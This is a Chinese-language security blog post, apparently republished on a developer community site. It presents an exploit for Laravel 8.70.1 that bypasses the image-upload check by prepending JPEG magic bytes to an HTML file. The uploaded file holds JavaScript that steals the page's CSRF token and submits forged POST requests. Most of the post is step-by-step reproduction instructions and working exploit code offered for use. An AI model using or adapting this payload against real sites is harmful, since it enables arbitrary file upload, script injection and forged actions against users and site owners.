前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP Laravel 8.70.1 - 跨站脚本(XSS)到跨站请求伪造(CSRF)

PHP Laravel 8.70.1 - 跨站脚本(XSS)到跨站请求伪造(CSRF)

原创
作者头像
Khan安全团队
发布2021-12-17 15:24:21
7960
发布2021-12-17 15:24:21
举报
文章被收录于专栏:Khan安全团队Khan安全团队

供应​​商主页:https://laravel.com/

软件链接:https://laravel.com/docs/4.2

版本:Laravel 框架 8.70.1

测试:Windows/Linux

说明:

我们可以绕过laravel图片文件上传功能,在web服务器上传任意文件 # 让我们运行任意 javascript 并绕过 csrf 令牌,有关更多信息,请阅读此 https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

重现步骤:

1- 使用 HxD 工具并在文件开头添加 FF D8 FF E0

2- 使用下面的代码绕过 csrf 令牌

3- 将其另存为 Html 文件并上传。

<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
	//
    xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
	//Edit the path as you want
    xhr.open("GET", "/image-upload", true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementsByTagName("input")[0];
            // Show the token
            alert("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}
getTokenJS();

var POST_URL="/"
getTokenJS();

</script>
</html>

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档